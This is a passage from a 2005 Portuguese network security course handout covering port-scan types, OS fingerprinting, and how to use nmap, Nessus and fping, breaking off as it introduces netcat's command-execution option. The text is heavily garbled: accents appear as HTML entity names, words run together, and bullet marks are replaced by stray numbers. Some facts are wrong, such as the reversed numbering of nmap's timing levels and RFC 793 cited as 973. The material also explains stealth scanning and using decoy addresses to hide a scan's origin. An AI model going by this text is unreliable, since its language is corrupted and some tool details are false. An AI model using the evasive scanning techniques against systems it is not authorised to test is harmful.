protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de 